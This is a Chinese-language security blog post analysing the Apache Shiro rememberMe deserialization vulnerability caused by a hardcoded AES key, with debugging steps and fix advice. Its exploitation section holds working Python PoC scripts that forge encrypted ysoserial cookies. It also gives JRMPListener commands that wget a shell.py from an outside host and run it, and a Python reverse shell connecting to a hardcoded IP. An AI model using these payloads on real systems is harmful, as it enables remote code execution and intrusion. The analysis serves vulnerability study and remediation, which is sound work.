1. 前言
最近工作上剛好碰到了這個漏洞,當時的漏洞環境是:
- shiro-core 1.2.4
- commons-beanutils 1.9.1
最終利用ysoserial的CommonsBeanutils1命令執行。
雖然在ysoserial里CommonsBeanutils1類的版本為1.9.2
,不過上面環境測試確實可以命令執行。
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2
這里當時有一個問題是:如何獲取Java里引用組件的版本?
大多數的時候,我們只要解析pom.xml就能解析出相應組件的版本。但有的情況下,並不能獲取組件的版本。比如有的pom.xml並沒有設置組件的version版本,沒有設置version的情況,是由依賴決定。項目中依賴了A,A依賴了B,B的版本由A決定;又或者漏洞組件A是在組件B里引用的,pom.xml里並沒有組件A的配置。為了解決這個問題,我們可以用mvn dependency:tree
命令獲取所有組件調用關系,或者使用mvn dependency:list
命令獲取所有組件,只是沒有調用關系。
2. 漏洞影響
只要rememberMe
的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。
3. 環境搭建
漏洞的測試環境,可以用docker搭建,有人已經寫好了。https://github.com/Medicean/VulApps/tree/master/s/shiro/1
搭建完成后,docker exec -it your_docker_id /bin/bash
進入該docker的tomcat lib目錄/usr/local/tomcat/webapps/ROOT/WEB-INF/lib
,看到造成漏洞的jar包為:
- shiro-core-1.2.4.jar
- commons-collections4-4.0.jar (為了進行命令執行的測試,額外添加的版本)
或者如果想動態調試,可以根據Shiro RememberMe 1.2.4 反序列化導致的命令執行漏洞這篇文章自己搭建環境。不過文中並沒有說如何動態調試。我描述下如何在IDEA中動態調試shiro,這里感謝@lightless指點,其實就是在IDEA中添加Tomcat運行。相關步驟如下:
Run -> Edit Configurations -> 添加TomcatServer(Local) -> Server中配置Tomcat路徑 -> Deployment中添加Artifact選擇sample-web:war exploded
4. 漏洞分析
先看下官網漏洞說明:https://issues.apache.org/jira/browse/SHIRO-550
Shiro提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。
Shiro對rememberMe的cookie做了加密處理,shiro在CookieRememberMeManaer
類中將cookie中rememberMe字段內容分別進行 序列化、AES加密、Base64編碼操作。
在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序,不難知道解密的順序為:
- 獲取rememberMe cookie
- base64 decode
- 解密AES
- 反序列化
但是,AES加密的密鑰Key被硬編碼在代碼里,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。
4.1 加密
先來看看如何進行加密。
登錄http://localhost:8080/login.jsp
,勾選rememberMe
,登錄成功后,看到一個key為rememberMe,value長度為512的cookie。
NMhQ5j+uiYfUA+gQF93wGknW88ru39LFDKiOmaAuphx7h+r/XUhlebml7+KNwfF0gIIOnJg6LA8xVpzPJTYknq/aYPeeDNJEVYX8DSUMNUh0nbCdHW1YNuFDdBNg6chk5nEZwkh7dG9k+uAnZEfpFbRTajQ4vEolbOktGAS+feNmpurL2P/0dpWwzsSGMZubiVs0ICMVt6CS3qvU8rKC22lbPILSqTiD5Ao+6YNCm19qm/6uQ7De2E+gmKmxGA9o/EsaRUE71wdiHdJbaDeNOQ5am8rXiejqtfEl5YHzeU2MEdxqo+POVUgaSal7O3FYhLjfn4U1nS97/VUHfY7mlz3iP9rU4KvIYjtB5RhbNwkgoFmtUY6MFyFaJNoOAwKBfkeVY0w7QoF7zo0P1HEA3G1XEBR7GeC4O/XAChMnDx7NYfm5D5RZuWWNkW8qI0U9n5UJXmpVsS1hB3vor0eB/5gO5USMy+ToHAW3bOB6REK1x3/U9IS82sY/aLv7aXBA
從官網中,我們知道處理Cookie的類是CookieRememberMeManaer
,該類繼承AbstractRememberMeManager
類,跟進AbstractRememberMeManager
類,很容易看到AES的key。
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
最簡單的調試方法,隨意登錄一個賬號,勾選rememberMe
按鈕,在AbstractRememberMeManager
類的onSuccessfulLogin
方法下斷點,慢慢debug,所有邏輯就會明白了。
假設我們以root的用戶名的登錄了。如果登錄成功,shiro先將登錄的用戶名root
字符串進行序列化,使用DefaultSerializer
類的serialize
方法。
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { byte[] bytes = serialize(principals); // 進行序列化 if (getCipherService() != null) { bytes = encrypt(bytes); // AES加密 } return bytes; }
接着進行AES加密。動態跟蹤到AbstractRememberMeManager
類的encrypt
方法中,可以看到AES的模式為AES/CBC/PKCS5Padding
,並且AES的key為Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
,轉換為16進制后是\x90\xf1\xfe\x6c\x8c\x64\xe4\x3d\x9d\x79\x98\x88\xc5\xc6\x9a\x68
,key為16字節,128位。
protected byte[] encrypt(byte[] serialized) { byte[] value = serialized; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); value = byteSource.getBytes(); } return value; }
進行AES加密,利用arraycopy()方法將隨機的16字節IV放到序列化后的數據前面,完成后再進行AES加密。
最后在CookieRememberMeManager
類的rememberSerializedIdentity()
方法中進行base64加密:
String base64 = Base64.encodeToString(serialized);
4.2 解密
有了AES的key、加密模式AES/CBC/PKCS5Padding
,由於AES是對稱加密,所以我們已經可以解密AES的密文了。
第一步:獲取rememberMe的Cookie
第二步:base64解碼。CookieRememberMeManager
類的getRememberedSerializedIdentity()
方法
byte[] decoded = Base64.decode(base64);
第三步:AES解密。base64解碼后的字節,減去前面16個字節。
AbstractRememberMeManager
類的decrypt()
方法
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
第四步:反序列化。DefaultSerializer
類的deserialize()
方法
public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialze argument byte array."; throw new SerializationException(msg, e); } } }
可以看到,解密和加密完全是對稱的。第四步中的readObject()
方法,由於反序列化的對象完全由外部rememberMe Cookie控制。所以,一旦添加了有漏洞的common-collections包,就會造成任意命令執行。
5. 漏洞利用
5.1 commons-collections 4.0
針對https://github.com/Medicean/VulApps/tree/master/s/shiro/1
docker環境的漏洞利用比較簡單。利用ysoserial的CommonsCollections2即可
import os import re import base64 import uuid import subprocess import requests from Crypto.Cipher import AES JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' def poc(url, rce_command): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = generator(rce_command, JAR_FILE) # 生成payload r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 發送驗證請求 print r.text except Exception, e: pass return False def generator(command, fp): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': poc('http://127.0.0.1:8080', 'open /Applications/Calculator.app')
本地成功彈計算器。
5.1 commons-collections 3.2.1
默認shiro的commons-collections版本為3.2.1,並且在ysoserial里並沒有3.2.1的版本,我們利用3.2.1的payload,結果報如下錯誤:
java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]:
報錯的原因是因為:
Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class。
當然為了證明反序列化漏洞確實存在,我們可以利用ysoserial的URLDNS gadget進行驗證,參數改成dns地址,測試能收到DNS請求。不過Java默認有TTL緩存,DNS解析會進行緩存,所以可能會出現第一次收到DNS的log,后面可能收不到的情況。URLDNS gadget不需要其他類的支持,它的Gadget Chain:
* Gadget Chain: * HashMap.readObject() * HashMap.putVal() * HashMap.hash() * URL.hashCode()
但是可以利用ysoserial的JRMP。具體利用過程如下:
在有外網的服務器下監控一個JRMP端口,wget為要執行的命令。
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'curl test.joychou.org'
此時執行poc,已經執行了curl test.joychou.org
命令。
#coding: utf-8 import os import re import base64 import uuid import subprocess import requests from Crypto.Cipher import AES JAR_FILE = '/Users/Viarus/Downloads/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar' def poc(url, rce_command): if '://' not in url: target = 'https://%s' % url if ':443' in url else 'http://%s' % url else: target = url try: payload = generator(rce_command, JAR_FILE) # 生成payload print payload print payload.decode() r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 發送驗證請求 print r.text except Exception, e: print(e) pass return False def generator(command, fp): if not os.path.exists(fp): raise Exception('jar file not found!') popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext poc('http://127.0.0.1:8080', '47.52.77.204:12345')
不過如果想達到命令執行的目標,可以分別執行兩條命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget test.joychou.org/shell.py -O /tmp/shell.py'
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'python /tmp/shell.py'
shell.py為反彈shell的代碼:
import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("47.52.77.204",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
6. 漏洞修復
先說結論:無論是否升級shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密鑰一旦泄露,就會導致反序列化漏洞。
跟了shiro 1.3.2的代碼,看到官方的操作如下:
- 刪除代碼里的默認密鑰
- 默認配置里注釋了默認密鑰
- 如果不配置密鑰,每次會重新隨機一個密鑰
可以看到並沒有對反序列化做安全限制,只是在邏輯上對該漏洞進行了處理。
如果在配置里自己單獨配置AES的密鑰,並且密鑰一旦泄露,那么漏洞依然存在。
所以漏洞修復的話,我建議下面的方案同時進行:
- 升級shiro到1.2.5及以上
- 如果在配置里配置了密鑰,那么請一定不要使用網上的密鑰,一定不要!!請自己base64一個AES的密鑰,或者利用官方提供的方法生成密鑰:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
7. 總結
- 標准的AES的加解密只跟私鑰key和加密模式有關,和IV無關。
- 為了證明反序列化漏洞確實存在,可以利用ysoserial的URLDNS gadget進行驗證,但是默認會有TTL緩存機制,默認10s。
反序列化導致的命令執行需要兩個點:
readObject()
反序列化的內容可控。- 應用引用的jar包中存在可命令執行的Gadget Chain。
8. Reference
本文由 JoyChou 創作,采用 知識共享署名4.0 國際許可協議進行許可
本站文章除注明轉載/出處外,均為本站原創或翻譯,轉載前請務必署名。